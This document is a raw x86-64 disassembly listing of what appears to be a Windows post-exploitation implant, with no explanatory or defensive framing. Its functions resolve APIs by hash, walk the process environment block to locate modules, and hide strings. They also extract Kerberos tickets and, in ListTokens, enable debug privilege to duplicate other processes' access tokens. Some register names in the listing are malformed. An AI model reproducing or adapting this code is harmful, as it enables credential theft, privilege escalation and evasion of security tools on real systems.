1400172d9mov [rsp+40], rax
1400172delea rax, [rsp+144]
1400172e6mov [rsp+144], rcx
1400172eemov rcx, [rsp+88]
1400172f3mov [rsp+32], rax
1400172f8call [rsi+1956]
1400172femov ecx, eax
140017300test eax, eax
140017302jns 0x140017323
140017304call [rsi+1452]
14001730amov r8l, 686
140017310lea rdx, [rip+0x152e9]
140017317lea rcx, [rip+0x11173]
14001731emov r9l, eax
140017321jmp 0x14001734e
140017323
140017323loc_140017323:
140017323mov r9l, [rsp+124]
140017328cmp r9l, 0xffffffffc000005f
14001732fje 0x140017458
140017335test r9l, r9l
140017338jns 0x140017358
14001733amov r8l, 695
140017340lea rdx, [rip+0x152b9]
140017347lea rcx, [rip+0x11179]
14001734e
14001734eloc_14001734e:
14001734ecall printf
140017353jmp 0x140017458
140017358
140017358loc_140017358:
140017358cmp [rsp+144], 0
140017361je 0x140017458
140017367mov r15l, 8
14001736dxor r14l, r14l
140017370
140017370loc_140017370:
140017370mov rcx, [rsp+144]
140017378cmp r14l, [rcx+4]
14001737cjae 0x140017448
140017382mov edx, 4152
140017387mov ecx, 64
14001738ccall [rsi+932]
140017392test rax, rax
140017395je 0x14001743c
14001739bmov rdx, [rsp+144]
1400173a3mov rcx, rax
1400173a6mov [rsp+64], rax
1400173abadd rdx, r15
1400173aecall CopyTicketInfo
1400173b3mov rax, [rsp+64]
1400173b8movsxd rdx, r14l
1400173bbmov r9, [rsp+72]
1400173c0imul rdx, rdx, 96
1400173c4add rdx, [rsp+144]
1400173ccmov rcx, [rsp+88]
1400173d1movups x0, [rdx+40]
1400173d5lea rdx, [rax+4136]
1400173dcmov r8, [rsp+168]
1400173e4mov [rsp+40], rdx
1400173e9lea rdx, [rax+4128]
1400173f0mov [rsp+32], rdx
1400173f5mov edx, [rsp+116]
1400173f9movups [rsp+96], x0
1400173fecall ExtractTicket
140017403mov rdx, [rbx+7200]
14001740amov rax, [rsp+64]
14001740ftest rdx, rdx
140017412jne 0x14001741d
140017414mov [rbx+7200], rax
14001741bjmp 0x140017433
14001741d
14001741dloc_14001741d:
14001741dmov rcx, rdx
140017420mov rdx, [rdx+4144]
140017427test rdx, rdx
14001742ajne 0x14001741d
14001742cmov [rcx+4144], rax
140017433
140017433loc_140017433:
140017433xor edx, edx
140017435mov [rax+4144], rdx
14001743c
14001743cloc_14001743c:
14001743cinc r14l
14001743fadd r15, 96
140017443jmp 0x140017370
140017448
140017448loc_140017448:
140017448call [rsi+2012]
14001744exor eax, eax
140017450mov [rsp+144], rax
140017458
140017458loc_140017458:
140017458inc r13
14001745bjmp 0x140017225
140017460
140017460loc_140017460:
140017460mov esi, 1
140017465
140017465loc_140017465:
140017465mov rbx, [rsp+136]
14001746dtest rbx, rbx
140017470je 0x140017490
140017472mov rcx, [rbx]
140017475mov rdi, [rip+0x14ef4]
14001747ctest rcx, rcx
14001747fje 0x140017487
140017481call [rdi+940]
140017487
140017487loc_140017487:
140017487mov rcx, rbx
14001748acall [rdi+940]
140017490
140017490loc_140017490:
140017490mov rcx, [rsp+128]
140017498test rcx, rcx
14001749bje 0x1400174aa
14001749dmov rax, [rip+0x14ecc]
1400174a4call [rax+1996]
1400174aa
1400174aaloc_1400174aa:
1400174aamov rdi, [rsp+80]
1400174afmov ecx, 9
1400174b4xor eax, eax
1400174b6rep stosb [rdi], al
1400174b8test r12, r12
1400174bbje 0x1400174c1
1400174bdtest esi, esi
1400174bfjne 0x1400174c4
1400174c1
1400174c1loc_1400174c1:
1400174c1xor r12l, r12l
1400174c4
1400174c4loc_1400174c4:
1400174c4lea rsp, [rbp-56]
1400174c8mov rax, r12
1400174cbpop rbx
1400174ccpop rsi
1400174cdpop rdi
1400174cepop r12
1400174d0pop r13
1400174d2pop r14
1400174d4pop r15
1400174d6pop rbp
1400174d7ret
140016fd0

1400174d8
1400174d8 // align 0x10

1400174e0
1400174e0LdrFreeLibrary:
1400174e0mov rax, [rip+0x14e89]
1400174e7jmp [rax+892]
1400174e0

1400174ed
1400174ed // align 0x10

1400174f0
1400174f0LdrFunctionAddr:
1400174f0push r15
1400174f2xor eax, eax
1400174f4push r14
1400174f6push r13
1400174f8push r12
1400174fapush rbp
1400174fbpush rdi
1400174fcpush rsi
1400174fdpush rbx
1400174fesub rsp, 88
140017502mov [rsp+56], rax
140017507mov [rsp+64], rax
14001750cmov [rsp+72], rax
140017511test rcx, rcx
140017514je 0x14001762a
14001751amov r9l, edx
14001751dtest edx, edx
14001751fje 0x14001762a
140017525movsxd rax, [rcx+60]
140017529mov rbx, rcx
14001752cxor esi, esi
14001752eadd rax, rcx
140017531mov ebp, [rax+136]
140017537mov eax, [rax+140]
14001753dadd rbp, rcx
140017540mov [rsp+44], eax
140017544mov r15l, [rbp+32]
140017548mov r13l, [rbp+28]
14001754cmov r14l, [rbp+36]
140017550mov r12l, [rbp+24]
140017554add r15, rcx
140017557
140017557loc_140017557:
140017557cmp esi, r12l
14001755ajae 0x140017611
140017560mov edi, [r15+4*rsi]
140017564xor edx, edx
140017566mov r8l, 1
14001756cmov [rsp+168], r9l
140017574add rdi, rbx
140017577mov rcx, rdi
14001757acall HashEx
14001757fmov r9l, [rsp+168]
140017587mov edx, eax
140017589lea rax, [rsi+1]
14001758dcmp edx, r9l
140017590jne 0x140017609
140017592add rsi, rsi
140017595add rsi, rbx
140017598movzx eax, [rsi+r14]
14001759dlea rax, [rbx+4*rax]
1400175a1mov edx, [rax+r13]
1400175a5add rdx, rbx
1400175a8mov [rsp+56], rdx
1400175adcmp rdx, rbp
1400175b0jae 0x1400175b9
1400175b2
1400175b2loc_1400175b2:
1400175b2mov rax, [rsp+56]
1400175b7jmp 0x14001762c
1400175b9
1400175b9loc_1400175b9:
1400175b9mov eax, [rsp+44]
1400175bdadd rax, rbx
1400175c0add rax, rbp
1400175c3cmp rdx, rax
1400175c6jae 0x1400175b2
1400175c8call StringLengthA
1400175cdmov [rsp+72], rdi
1400175d2mov [rsp+64], ax
1400175d7inc eax
1400175d9mov [rsp+66], ax
1400175demov rax, [rip+0x14d8b]
1400175e5mov rax, [rax+308]
1400175ectest rax, rax
1400175efje 0x14001762a
1400175f1xor r8l, r8l
1400175f4lea rdx, [rsp+64]
1400175f9lea r9, [rsp+56]
1400175femov rcx, rbx
140017601call rax
140017603test eax, eax
140017605jns 0x1400175b2
140017607jmp 0x14001762a
140017609
140017609loc_140017609:
140017609mov rsi, rax
14001760cjmp 0x140017557
140017611
140017611loc_140017611:
140017611mov r8l, 430
140017617lea rdx, [rip+0x154a2]
14001761elea rcx, [rip+0x12bcb]
140017625call printf
14001762a
14001762aloc_14001762a:
14001762axor eax, eax
14001762c
14001762cloc_14001762c:
14001762cadd rsp, 88
140017630pop rbx
140017631pop rsi
140017632pop rdi
140017633pop rbp
140017634pop r12
140017636pop r13
140017638pop r14
14001763apop r15
14001763cret
1400174f0

14001763d
14001763d // align 0x10

140017640
140017640LdrFunctionAddrString:
140017640push rsi
140017641mov r8l, 1
140017647mov rsi, rcx
14001764apush rbx
14001764bmov rbx, rdx
14001764exor edx, edx
140017650mov rcx, rbx
140017653sub rsp, 56
140017657call HashEx
14001765cmov [rsp+32], rbx
140017661mov r9, rsi
140017664mov r8l, 28
14001766amov [rsp+40], eax
14001766elea rdx, [rip+0x159fb]
140017675lea rcx, [rip+0x13fcc]
14001767ccall printf
140017681mov rcx, rbx
140017684xor edx, edx
140017686mov r8l, 1
14001768ccall HashEx
140017691add rsp, 56
140017695mov rcx, rsi
140017698pop rbx
140017699mov edx, eax
14001769bpop rsi
14001769cjmp 0x1400174f0
140017640

1400176a1
1400176a1 // align 0x10

1400176b0
1400176b0LdrLocalFree:
1400176b0mov rax, [rip+0x14cb9]
1400176b7jmp [rax+940]
1400176b0

1400176bd
1400176bd // align 0x10

1400176c0
1400176c0LdrModuleLoad:
1400176c0push r13
1400176c2xor r11l, r11l
1400176c5xor eax, eax
1400176c7push r12
1400176c9push rbp
1400176camov rbp, rcx
1400176cdmov ecx, 130
1400176d2push rdi
1400176d3push rsi
1400176d4push rbx
1400176d5xor ebx, ebx
1400176d7sub rsp, 648
1400176delea rdi, [rsp+120]
1400176e3mov [rsp+104], r11
1400176e8rep stosd [rdi], eax
1400176eamov [rsp+112], r11
1400176efxor eax, eax
1400176f1mov [rsp+72], rbx
1400176f6mov [rsp+80], rbx
1400176fbmov [rsp+88], rbx
140017700mov [rsp+96], rbx
140017705test rbp, rbp
140017708je 0x140017a46
14001770emov rcx, rbp
140017711lea rdi, [rsp+120]
140017716call StringLengthA
14001771bmov rdx, rbp
14001771emov rcx, rdi
140017721mov r8, rax
140017724call CharStringToWCharString
140017729mov rcx, rdi
14001772ccall StringLengthW
140017731mov rcx, rdi
140017734mov r12, rax
140017737call LdrModuleSearch
14001773cmov [rsp+72], rax
140017741test rax, rax
140017744jne 0x140017a46
14001774amov rbx, [rip+0x14c1f]
140017751lea rsi, [rip+0x153b8]
140017758mov al, [rbx+222]
14001775etest al, al
140017760je 0x140017968
140017766cmp al, 1
140017768jne 0x14001780e
14001776ecmp [rbx+388], 0
140017776je 0x140017968
14001777clea r9, [rip+0x12fda]
140017783mov r8l, 252
140017789mov rdx, rsi
14001778clea rcx, [rip+0x12bda]
140017793call printf
140017798xor r10l, r10l
14001779bxor r8l, r8l
14001779elea rcx, [rsp+80]
1400177a3mov [rsp+32], r10l
1400177a8mov r9l, 1
1400177aemov edx, 0x1f0003
1400177b3call SysNtCreateEvent
1400177b8test eax, eax
1400177bajs 0x140017968
1400177c0xor r9l, r9l
1400177c3mov rdx, [rsp+80]
1400177c8lea rcx, [rsp+96]
1400177cdmov r8, [rbx+756]
1400177d4mov [rsp+32], r9l
1400177d9mov r9, rdi
1400177dcmov [rsp+40], 12
1400177e4call [rbx+388]
1400177eamov r9l, eax
1400177edtest eax, eax
1400177efjs 0x1400177fc
1400177f1
1400177f1loc_1400177f1:
1400177f1mov r13l, 5
1400177f7jmp 0x140017929
1400177fc
1400177fcloc_1400177fc:
1400177fcmov r8l, 261
140017802mov rdx, rsi
140017805lea rcx, [rip+0x12f76]
14001780cjmp 0x140017862
14001780e
14001780eloc_14001780e:
14001780ecmp al, 2
140017810jne 0x1400178b5
140017816cmp [rbx+380], 0
14001781eje 0x140017968
140017824lea r9, [rip+0x12f7c]
14001782bmov r8l, 269
140017831mov rdx, rsi
140017834lea rcx, [rip+0x12b32]
14001783bcall printf
140017840lea rcx, [rsp+88]
140017845call [rbx+404]
14001784bmov r9l, eax
14001784etest eax, eax
140017850jns 0x14001786c
140017852mov r8l, 273
140017858mov rdx, rsi
14001785blea rcx, [rip+0x12f69]
140017862
140017862loc_140017862:
140017862call printf
140017867jmp 0x140017968
14001786c
14001786cloc_14001786c:
14001786cxor ecx, ecx
14001786emov r8, [rbx+756]
140017875mov r9, rdi
140017878mov [rsp+48], 32
140017880mov [rsp+40], ecx
140017884lea rdx, [rsp+96]
140017889mov [rsp+32], ecx
14001788dmov rcx, [rsp+88]
140017892call [rbx+380]
140017898mov r9l, eax
14001789btest eax, eax
14001789djns 0x1400177f1
1400178a3mov r8l, 279
1400178a9mov rdx, rsi
1400178aclea rcx, [rip+0x12f4a]
1400178b3jmp 0x140017862
1400178b5
1400178b5loc_1400178b5:
1400178b5cmp al, 3
1400178b7jne 0x140017968
1400178bdcmp [rbx+396], 0
1400178c5je 0x140017968
1400178cblea r9, [rip+0x12f4f]
1400178d2mov r8l, 286
1400178d8mov rdx, rsi
1400178dblea rcx, [rip+0x12a8b]
1400178e2call printf
1400178e7mov rcx, [rbx+756]
1400178eexor r8l, r8l
1400178f1mov rdx, rdi
1400178f4call [rbx+396]
1400178famov r9l, eax
1400178fdtest eax, eax
1400178ffjns 0x1400177f1
140017905mov r8l, 290
14001790bmov rdx, rsi
14001790elea rcx, [rip+0x12f32]
140017915jmp 0x140017862
14001791a
14001791aloc_14001791a:
14001791amov ecx, 100
14001791fcall SharedSleep
140017924dec r13l
140017927je 0x140017940
140017929
140017929loc_140017929:
140017929mov rcx, rdi
14001792ccall LdrModulePebByString
140017931mov [rsp+72], rax
140017936test rax, rax
140017939je 0x14001791a
14001793bjmp 0x1400179e4
140017940
140017940loc_140017940:
140017940cmp [rsp+72], 0
140017946jne 0x1400179e4
14001794clea r9, [rip+0x12f21]
140017953mov r8l, 325
140017959mov rdx, rsi
14001795clea rcx, [rip+0x12a0a]
140017963call printf
140017968
140017968loc_140017968:
140017968cmp [rbx+300], 0
140017970je 0x1400179e4
140017972add r12l, r12l
140017975lea r9, [rip+0x12f2a]
14001797cmov r8l, 335
140017982mov rdx, rsi
140017985lea rcx, [rip+0x129e1]
14001798ccall printf
140017991mov [rsp+104], r12w
140017997xor edx, edx
140017999xor ecx, ecx
14001799badd r12l, 2
14001799fmov [rsp+112], rdi
1400179a4lea r9, [rsp+72]
1400179a9lea r8, [rsp+104]
1400179aemov [rsp+106], r12w
1400179b4call [rbx+300]
1400179bamov r12l, eax
1400179bdtest eax, eax
1400179bfjns 0x1400179e4
1400179c1mov r9l, eax
1400179c4mov r8l, 343
1400179camov rdx, rsi
1400179cdlea rcx, [rip+0x12ef2]
1400179d4call printf
1400179d9mov rax, [rbx+2230]
1400179e0mov [rax+104], r12l
1400179e4
1400179e4loc_1400179e4:
1400179e4xor eax, eax
1400179e6mov ecx, 520
1400179ebrep stosb [rdi], al
1400179edmov ecx, 16
1400179f2lea rdi, [rsp+104]
1400179f7rep stosb [rdi], al
1400179f9mov rax, [rsp+72]
1400179felea rcx, [rip+0x12ee8]
140017a05mov r9, rbp
140017a08mov rdx, rsi
140017a0bmov r8l, 354
140017a11mov [rsp+32], rax
140017a16call printf
140017a1bmov rcx, [rsp+80]
140017a20test rcx, rcx
140017a23je 0x140017a31
140017a25call SysNtClose
140017a2axor eax, eax
140017a2cmov [rsp+80], rax
140017a31
140017a31loc_140017a31:
140017a31mov rcx, [rsp+88]
140017a36test rcx, rcx
140017a39je 0x140017a41
140017a3bcall [rbx+412]
140017a41
140017a41loc_140017a41:
140017a41mov rax, [rsp+72]
140017a46
140017a46loc_140017a46:
140017a46add rsp, 648
140017a4dpop rbx
140017a4epop rsi
140017a4fpop rdi
140017a50pop rbp
140017a51pop r12
140017a53pop r13
140017a55ret
1400176c0

140017a56
140017a56 // align 0x10

140017a60
140017a60LdrModulePeb:
140017a60push rdi
140017a61push rsi
140017a62mov esi, ecx
140017a64push rbx
140017a65sub rsp, 32
140017a69mov rax, [rip+0x14900]
140017a70cmp [rax+2230], 0
140017a78jne 0x140017a8a
140017a7amov rdx, [0x30]
140017a83mov [rax+2230], rdx
140017a8a
140017a8aloc_140017a8a:
140017a8amov rax, [rax+2230]
140017a91mov rax, [rax+96]
140017a95mov rax, [rax+24]
140017a99mov rbx, [rax+16]
140017a9dlea rdi, [rax+16]
140017aa1
140017aa1loc_140017aa1:
140017aa1cmp rbx, rdi
140017aa4je 0x140017acc
140017aa6movzx edx, [rbx+88]
140017aaamov rcx, [rbx+96]
140017aaemov r8l, 1
140017ab4call HashEx
140017ab9test esi, esi
140017abbje 0x140017ac1
140017abdcmp eax, esi
140017abfjne 0x140017ac7
140017ac1
140017ac1loc_140017ac1:
140017ac1mov rax, [rbx+48]
140017ac5jmp 0x140017ace
140017ac7
140017ac7loc_140017ac7:
140017ac7mov rbx, [rbx]
140017acajmp 0x140017aa1
140017acc
140017accloc_140017acc:
140017accxor eax, eax
140017ace
140017aceloc_140017ace:
140017aceadd rsp, 32
140017ad2pop rbx
140017ad3pop rsi
140017ad4pop rdi
140017ad5ret
140017a60

140017ad6
140017ad6 // align 0x10

140017ae0
140017ae0LdrModulePebByString:
140017ae0push r14
140017ae2push r13
140017ae4push r12
140017ae6mov r12, rcx
140017ae9push rbp
140017aeapush rdi
140017aebpush rsi
140017aecpush rbx
140017aedsub rsp, 48
140017af1mov rbx, [rip+0x14878]
140017af8cmp [rbx+2230], 0
140017b00jne 0x140017b12
140017b02mov rax, [0x30]
140017b0bmov [rbx+2230], rax
140017b12
140017b12loc_140017b12:
140017b12mov rax, [rbx+2230]
140017b19mov r8l, 260
140017b1fmov edx, 8
140017b24mov r13l, 260
140017b2amov rax, [rax+96]
140017b2emov rcx, [rax+48]
140017b32call [rbx+316]
140017b38mov r8, rax
140017b3bmov rax, [rbx+2230]
140017b42mov rax, [rax+96]
140017b46mov rax, [rax+24]
140017b4amov rbp, [rax+16]
140017b4elea r14, [rax+16]
140017b52
140017b52loc_140017b52:
140017b52cmp rbp, r14
140017b55je 0x140017bc2
140017b57movzx ecx, [rbp+88]
140017b5bcmp cx, 260
140017b60ja 0x140017bbc
140017b62mov rsi, [rbp+96]
140017b66mov rdi, r8
140017b69xor eax, eax
140017b6brep movsb [rdi], [rsi]
140017b6d
140017b6dloc_140017b6d:
140017b6dmovzx edx, [rbp+88]
140017b71cmp eax, edx
140017b73jae 0x140017b8d
140017b75mov dx, [r8+2*rax]
140017b7acmp dx, 96
140017b7ejbe 0x140017b88
140017b80sub edx, 32
140017b83mov [r8+2*rax], dx
140017b88
140017b88loc_140017b88:
140017b88inc rax
140017b8bjmp 0x140017b6d
140017b8d
140017b8dloc_140017b8d:
140017b8dmov rdx, r12
140017b90mov rcx, r8
140017b93mov [rsp+40], r8
140017b98call StringCompareW
140017b9dtest r12, r12
140017ba0je 0x140017bae
140017ba2test eax, eax
140017ba4mov r8, [rsp+40]
140017ba9sete al
140017bacjne 0x140017bb4
140017bae
140017baeloc_140017bae:
140017baemov rax, [rbp+48]
140017bb2jmp 0x140017bf0
140017bb4
140017bb4loc_140017bb4:
140017bb4mov rdi, r8
140017bb7mov rcx, r13
140017bbarep stosb [rdi], al
140017bbc
140017bbcloc_140017bbc:
140017bbcmov rbp, [rbp]
140017bc0jmp 0x140017b52
140017bc2
140017bc2loc_140017bc2:
140017bc2test r8, r8
140017bc5jne 0x140017bcb
140017bc7
140017bc7loc_140017bc7:
140017bc7xor eax, eax
140017bc9jmp 0x140017bf0
140017bcb
140017bcbloc_140017bcb:
140017bcbmov rdi, r8
140017bcemov ecx, 260
140017bd3xor eax, eax
140017bd5rep stosb [rdi], al
140017bd7mov rax, [rbx+2230]
140017bdexor edx, edx
140017be0mov rax, [rax+96]
140017be4mov rcx, [rax+48]
140017be8call [rbx+332]
140017beejmp 0x140017bc7
140017bf0
140017bf0loc_140017bf0:
140017bf0add rsp, 48
140017bf4pop rbx
140017bf5pop rsi
140017bf6pop rdi
140017bf7pop rbp
140017bf8pop r12
140017bfapop r13
140017bfcpop r14
140017bferet
140017ae0

140017bff
140017bff // align 0x10

140017c00
140017c00LdrModulePebString:
140017c00push rbx
140017c01mov r8l, 1
140017c07xor edx, edx
140017c09mov rbx, rcx
140017c0csub rsp, 48
140017c10call HashEx
140017c15mov r9, rbx
140017c18lea rcx, [rip+0x13a01]
140017c1fmov r8l, 22
140017c25mov [rsp+32], eax
140017c29lea rdx, [rip+0x155a0]
140017c30call printf
140017c35mov rax, [rip+0x14734]
140017c3cmov rcx, rbx
140017c3fmov rax, [rax+1124]
140017c46add rsp, 48
140017c4apop rbx
140017c4bjmp rax
140017c00

140017c4d
140017c4d // align 0x10

140017c50
140017c50LdrModuleSearch:
140017c50push r12
140017c52xor eax, eax
140017c54mov r12, rcx
140017c57mov ecx, 130
140017c5cpush rbp
140017c5dpush rdi
140017c5epush rsi
140017c5fpush rbx
140017c60sub rsp, 576
140017c67lea rdi, [rsp+56]
140017c6cmov [rsp+54], 0
140017c73lea rbx, [rsp+56]
140017c78rep stosd [rdi], eax
140017c7axor eax, eax
140017c7cmov ecx, 76
140017c81lea rdi, [rsp+46]
140017c86mov [rsp+46], rax
140017c8bcall HideChar
140017c90mov ecx, 68
140017c95movzx eax, al
140017c98mov [rsp+52], ax
140017c9dcall HideChar
140017ca2xor ecx, ecx
140017ca4movzx eax, al
140017ca7mov [rsp+48], ax
140017caccall HideChar
140017cb1mov ecx, 76
140017cb6movzx eax, al
140017cb9mov [rsp+54], ax
140017cbecall HideChar
140017cc3mov ecx, 46
140017cc8movzx eax, al
140017ccbmov [rsp+50], ax
140017cd0call HideChar
140017cd5mov rdx, r12
140017cd8mov rcx, rbx
140017cdbmovzx eax, al
140017cdemov [rsp+46], ax
140017ce3mov rax, [rip+0x14686]
140017ceamov rax, [rax+2230]
140017cf1mov rax, [rax+96]
140017cf5mov rbp, [rax+24]
140017cf9mov rsi, [rbp+16]
140017cfdadd rbp, 16
140017d01call StringCopyW
140017d06mov rdx, rdi
140017d09mov rcx, r12
140017d0ccall EndsWithIW
140017d11test eax, eax
140017d13jne 0x140017d20
140017d15mov rdx, rdi
140017d18mov rcx, rbx
140017d1bcall StringConcatW
140017d20
140017d20loc_140017d20:
140017d20mov ecx, 10
140017d25xor eax, eax
140017d27rep stosb [rdi], al
140017d29
140017d29loc_140017d29:
140017d29mov rdx, [rsi+96]
140017d2dmov rcx, rbx
140017d30call StringCompareIW
140017d35test eax, eax
140017d37jne 0x140017d49
140017d39mov rdi, rbx
140017d3cmov ecx, 520
140017d41rep stosb [rdi], al
140017d43mov rax, [rsi+48]
140017d47jmp 0x140017d5f
140017d49
140017d49loc_140017d49:
140017d49mov rsi, [rsi]
140017d4ccmp rbp, rsi
140017d4fjne 0x140017d29
140017d51mov rdi, rbx
140017d54mov ecx, 520
140017d59xor eax, eax
140017d5brep stosb [rdi], al
140017d5dxor eax, eax
140017d5f
140017d5floc_140017d5f:
140017d5fadd rsp, 576
140017d66pop rbx
140017d67pop rsi
140017d68pop rdi
140017d69pop rbp
140017d6apop r12
140017d6cret
140017c50

140017d6d
140017d6d // align 0x10

140017d70
140017d70ListTokens:
140017d70push r15
140017d72xor r11l, r11l
140017d75push r14
140017d77push r13
140017d79push r12
140017d7bxor r12l, r12l
140017d7epush rbp
140017d7fxor ebp, ebp
140017d81push rdi
140017d82xor edi, edi
140017d84push rsi
140017d85xor esi, esi
140017d87push rbx
140017d88xor ebx, ebx
140017d8asub rsp, 168
140017d91mov [rsp+240], rcx
140017d99mov [rsp+248], rdx
140017da1mov [rsp+120], r11
140017da6mov [rsp+108], ebx
140017daamov [rsp+112], ebx
140017daemov [rsp+128], rsi
140017db6mov [rsp+116], edi
140017dbamov [rsp+136], rbp
140017dc2mov [rsp+144], rbp
140017dcamov [rsp+152], rbp
140017dd2call TokenCurrentHandle
140017dd7mov [rsp+76], r12l
140017ddctest rax, rax
140017ddfje 0x140017e0b
140017de1xor r8l, r8l
140017de4mov rcx, rax
140017de7lea rdx, [rsp+144]
140017defmov rbx, rax
140017df2call TokenQueryOwner
140017df7mov rcx, rbx
140017dfatest eax, eax
140017dfcsetne al
140017dffmovzx eax, al
140017e02mov [rsp+76], eax
140017e06call SysNtClose
140017e0b
140017e0bloc_140017e0b:
140017e0bmov ecx, 1
140017e10call TokenSetSeDebugPriv
140017e15lea rcx, [rsp+112]
140017e1acall GetTypeIndexToken
140017e1ftest eax, eax
140017e21jne 0x140017e2a
140017e23
140017e23loc_140017e23:
140017e23xor ebx, ebx
140017e25jmp 0x140018011
140017e2a
140017e2aloc_140017e2a:
140017e2alea rdx, [rsp+116]
140017e2flea rcx, [rsp+128]
140017e37call GetAllHandles
140017e3ctest eax, eax
140017e3eje 0x140017e23
140017e40mov r13, [rsp+128]
140017e48lea rdx, [rsp+136]
140017e50mov rcx, r13
140017e53call GetProcessesFromHandleTable
140017e58test eax, eax
140017e5aje 0x140017e23
140017e5cmov rax, [rip+0x1450d]
140017e63mov edx, 0x420000
140017e68mov ecx, 64
140017e6dcall [rax+932]
140017e73mov rbx, rax
140017e76test rax, rax
140017e79je 0x140017e23
140017e7blea rax, [rsp+120]
140017e80xor ebp, ebp
140017e82lea r14, [rsp+108]
140017e87mov [rsp+80], rax
140017e8clea r15, [rsp+144]
140017e94
140017e94loc_140017e94:
140017e94mov rax, [rsp+136]
140017e9ccmp ebp, [rax]
140017e9ejae 0x140017ff3
140017ea4mov edx, ebp
140017ea6mov edi, [rax+4*rdx+4]
140017eaamov rax, [rip+0x144bf]
140017eb1cmp [rax+76], edi
140017eb4je 0x140017fec
140017ebatest edi, -5
140017ec0je 0x140017fec
140017ec6mov edx, 1088
140017ecbmov ecx, edi
140017ecdxor r12l, r12l
140017ed0call ProcessOpen
140017ed5mov rsi, rax
140017ed8test rax, rax
140017edbje 0x140017fec
140017ee1
140017ee1loc_140017ee1:
140017ee1cmp r12l, [r13]
140017ee5jae 0x140017f8d
140017eebmov r10l, r12l
140017eeeimul r10, r10, 24
140017ef2add r10, r13
140017ef5movzx eax, [r10+8]
140017efacmp eax, edi
140017efcjne 0x140017f85
140017f02movzx eax, [r10+12]
140017f07cmp eax, [rsp+112]
140017f0bjne 0x140017f85
140017f0dmovzx edx, [r10+14]
140017f12mov [rsp+88], r10
140017f17xor r10l, r10l
140017f1axor r9l, r9l
140017f1dmov [rsp+48], 2
140017f25or r8, -1
140017f29mov rcx, rsi
140017f2cmov [rsp+40], r10l
140017f31mov [rsp+32], r10l
140017f36mov [rsp+120], r9
140017f3bmov r9, [rsp+80]
140017f40call SysNtDuplicateObject
140017f45test eax, eax
140017f47js 0x140017f85
140017f49mov r10, [rsp+88]
140017f4emov r9l, [rsp+76]
140017f53mov edx, edi
140017f55mov rcx, [rsp+120]
140017f5amovzx r8l, [r10+14]
140017f5fmov [rsp+48], r14
140017f64mov [rsp+40], rbx
140017f69mov [rsp+32], r15
140017f6ecall ProcessUserToken
140017f73mov rcx, [rsp+120]
140017f78call SysNtClose
140017f7dxor r8l, r8l
140017f80mov [rsp+120], r8
140017f85
140017f85loc_140017f85:
140017f85inc r12l
140017f88jmp 0x140017ee1
140017f8d
140017f8dloc_140017f8d:
140017f8dmov r8, [rsp+80]
140017f92mov edx, 10
140017f97mov rcx, rsi
140017f9acall SysNtOpenProcessToken
140017f9ftest eax, eax
140017fa1js 0x140017fe4
140017fa3lea rax, [rsp+108]
140017fa8mov [rsp+40], rbx
140017fadxor r8l, r8l
140017fb0mov edx, edi
140017fb2mov r9l, [rsp+76]
140017fb7mov rcx, [rsp+120]
140017fbcmov [rsp+48], rax
140017fc1lea rax, [rsp+144]
140017fc9mov [rsp+32], rax
140017fcecall ProcessUserToken
140017fd3mov rcx, [rsp+120]
140017fd8call SysNtClose
140017fddxor ecx, ecx
140017fdfmov [rsp+120], rcx
140017fe4
140017fe4loc_140017fe4:
140017fe4mov rcx, rsi
140017fe7call SysNtClose
140017fec
140017fecloc_140017fec:
140017fecinc ebp
140017feejmp 0x140017e94
140017ff3
140017ff3loc_140017ff3:
140017ff3mov rax, [rsp+240]
140017ffbmov rsi, [rsp+248]
140018003mov [rax], rbx
140018006mov eax, [rsp+108]
14001800amov ebx, 1
14001800fmov [rsi], eax
140018011
140018011loc_140018011:
140018011mov rdi, [rsp+128]
140018019test rdi, rdi
14001801cje 0x140018045
14001801emov ecx, [rsp+116]
140018022xor eax, eax
140018024rep stosb [rdi], al
140018026mov rax, [rip+0x14343]
14001802dmov rcx, [rsp+128]
140018035call [rax+940]
14001803bxor edx, edx
14001803dmov [rsp+128], rdx
140018045
140018045loc_140018045:
140018045mov rdi, [rsp+136]
14001804dtest rdi, rdi
140018050je 0x14001807a
140018052mov ecx, 20004
140018057xor eax, eax
140018059rep stosb [rdi], al
14001805bmov rax, [rip+0x1430e]
140018062mov rcx, [rsp+136]
14001806acall [rax+940]
140018070xor eax, eax
140018072mov [rsp+136], rax
14001807a
14001807aloc_14001807a:
14001807amov rdi, [rsp+144]
140018082test rdi, rdi
140018085je 0x1400180a7
140018087mov ecx, [rsp+152]
14001808exor eax, eax
140018090rep stosb [rdi], al
140018092mov rax, [rip+0x142d7]
140018099mov rcx, [rsp+144]
1400180a1call [rax+940]
1400180a7
1400180a7loc_1400180a7:
1400180a7add rsp, 168
1400180aemov eax, ebx
1400180b0pop rbx
1400180b1pop rsi
1400180b2pop rdi
1400180b3pop rbp
1400180b4pop r12
1400180b6pop r13
1400180b8pop r14
1400180bapop r15
1400180bcret
140017d70

1400180bd
1400180bd // align 0x10

1400180c0
1400180c0MemCompare:
1400180c0xor eax, eax
1400180c2cmp rcx, rdx
1400180c5je 0x1400180f2
1400180c7xor eax, eax
1400180c9
1400180c9loc_1400180c9:
1400180c9mov r9l, r8l
1400180ccsub r9l, eax
1400180cftest r9l, r9l
1400180d2jle 0x1400180f0
1400180d4mov r9b, [rcx+rax]
1400180d8inc rax
1400180dbmov r10b, [rdx+rax-1]
1400180e0cmp r9b, r10b
1400180e3je 0x1400180c9
1400180e5cmp r10b, r9b
1400180e8sbb eax, eax
1400180eaand eax, 2
1400180eddec eax
1400180efret
1400180f0
1400180f0loc_1400180f0:
1400180f0xor eax, eax
1400180f2
1400180f2loc_1400180f2:
1400180f2ret
1400180c0

1400180f3
1400180f3 // align 0x10

140018100
140018100MemFileFree:
140018100push rdi
140018101push rsi
140018102push rbx
140018103mov rbx, rcx
140018106sub rsp, 32
14001810amov rdi, [rcx+24]
14001810etest rdi, rdi
140018111je 0x140018120
140018113mov rcx, [rcx+8]
140018117test rcx, rcx
14001811aje 0x140018120
14001811cxor eax, eax
14001811erep stosb [rdi], al
140018120
140018120loc_140018120:
140018120mov r8, [rbx+24]
140018124mov rsi, [rip+0x14245]
14001812btest r8, r8
14001812eje 0x140018147
140018130mov rax, [rsi+2230]
140018137xor edx, edx
140018139mov rax, [rax+96]
14001813dmov rcx, [rax+48]
140018141call [rsi+332]
140018147
140018147loc_140018147:
140018147xor eax, eax
140018149mov rdi, rbx
14001814cmov ecx, 48
140018151mov [rbx+24], rax
140018155mov [rbx+8], rax
140018159xor eax, eax
14001815brep stosb [rdi], al
14001815dmov rax, [rsi+2230]
140018164mov r8, rbx
140018167xor edx, edx
140018169mov rax, [rax+96]
